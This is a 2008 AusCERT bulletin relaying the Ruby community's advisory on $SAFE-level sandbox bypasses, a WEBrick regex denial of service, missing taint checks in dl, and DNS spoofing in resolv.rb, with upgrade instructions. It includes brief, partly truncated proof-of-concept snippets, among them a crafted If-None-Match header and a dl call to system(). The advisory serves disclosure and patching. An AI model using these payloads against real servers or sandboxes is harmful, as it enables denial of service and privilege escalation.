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                    ESB-2008.0789 -- [Win][UNIX/Linux]
                     Multiple vulnerabilities in Ruby
                              18 August 2008


        AusCERT Security Bulletin Summary

Product:              Ruby 1.8.5 and all prior versions
                      Ruby 1.8.6-p286 and all prior versions
                      Ruby 1.8.7-p71 and all prior versions
                      Ruby r18423 and all prior revisions
Publisher:            Ruby Community
Operating System:     UNIX variants (UNIX, Linux, OSX)
Impact:               Increased Privileges
                      Provide Misleading Information
                      Denial of Service
                      Inappropriate Access
Access:               Remote/Unauthenticated
CVE Names:            CVE-2008-3657 CVE-2008-3656 CVE-2008-3655
                      CVE-2008-3443 CVE-2008-1447

Ref:                  AL-2008.0080

Original Bulletin:

Revision History:     August 18 2008: Added further CVE information
                      August 15 2008: Added CVE
                      August 12 2008: Initial Release

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Multiple vulnerabilities in Ruby

   Multiple vulnerabilities have been discovered in Ruby. It's
   recommended that you upgrade to the latest versions.


   The following vulnerabilities have been discovered.

Several vulnerabilities in safe level

   Several vulnerabilities in safe level have been discovered.
     * untrace_var is permitted at safe level 4.
   trace_var(:$VAR) {|val| puts "$VAR = #{val}" }

   Thread.new do
    $SAFE = 4
    eval %q{
      proc = untrace_var :$VAR
        * $PROGRAM_NAME may be modified at safe level 4.
   Thread.new do
    $SAFE = 4
    eval %q{$PROGRAM_NAME.replace "Hello, World!"}
   $PROGRAM_NAME #=> "Hello, World!"
        * Insecure methods may be called at safe level 1-3.
   class Hello
    def world
      Thread.new do
        $SAFE = 4
        msg = "Hello, World!"
        def msg.size
          self.replace self*10 # replace string
          1 # return wrong size
   $SAFE = 1 # or 2, or 3
   s = Hello.new.world
   if s.kind_of?(String)
    puts s if s.size < 20 # print string which size is less than 20
        * Syslog operations are permitted at safe level 4.
   require "syslog"

   Thread.new do
    $SAFE = 4
    eval %q{
      Syslog.log(Syslog::LOG_WARNING, "Hello, World!")
      Syslog.mask = Syslog::LOG_UPTO(Syslog::LOG_EMERG)

   These vulnerabilities were reported by Keita Yamaguchi.

DoS vulnerability in WEBrick

   WEBrick::HTTP::DefaultFileHandler is faulty of exponential time taking
   requests due to a backtracking regular expression in

   Exploitable server:
   require 'webrick'
   WEBrick::HTTPServer.new(:Port => 2000, :DocumentRoot => "/etc").start

   require 'net/http'
   res = Net::HTTP.start("localhost", 2000) { |http|
     req = Net::HTTP::Get.new("/passwd")
     req['If-None-Match'] = %q{meh=""} + %q{foo="bar" } * 100
   p res

   The request likely won't finish in this universe.

   This vulnerability was reported by Christian Neukirchen.

Lack of taintness check in dl

   dl doesn't check taintness, so it could allow attackers to call
   dangerous functions.
   require 'dl'
   $SAFE = 1
   h = DL.dlopen(nil)
   sys = h.sym('system', 'IP')
   uname = 'uname -rs'.taint

   This vulnerability was reported by sheepman.

DNS spoofing vulnerability in resolv.rb

   resolv.rb allow remote attackers to spoof DNS answers. This risk can
   be reduced by randomness of DNS transaction IDs and source ports, so
   resolv.rb is fixed to randomize them.
     * see also: CVE-2008-1447

   This vulnerability was reported by Tanaka Akira.

Vulnerable versions

   1.8 series

          + 1.8.5 and all prior versions
          + 1.8.6-p286 and all prior versions
          + 1.8.7-p71 and all prior versions

   1.9 series

          + r18423 and all prior revisions


   1.8 series
          Please upgrade to 1.8.6-p287, or 1.8.7-p72.

          + <URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p287
          + <URL:ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.7-p72.

   1.9 series
          Please check out the latest version using Subversion.

    $ svn co http://svn.ruby-lang.org/repos/ruby/trunk ruby

   Please note that a package that corrects this weakness may already be
   available through your package management software.


   Credit to Keita Yamaguchi, Christian Neukirchen, sheepman, and Tanaka
   Akira for disclosing these problems to Ruby Security Team.


     * 2008-08-08 12:21 +09:00 fixed the revision number of ruby 1.9.
     * 2008-08-11 11:23 +09:00 fixed the patchlevel of ruby 1.8. see
       the release announcement of Ruby 1.8.7-p72 and 1.8.6-p287

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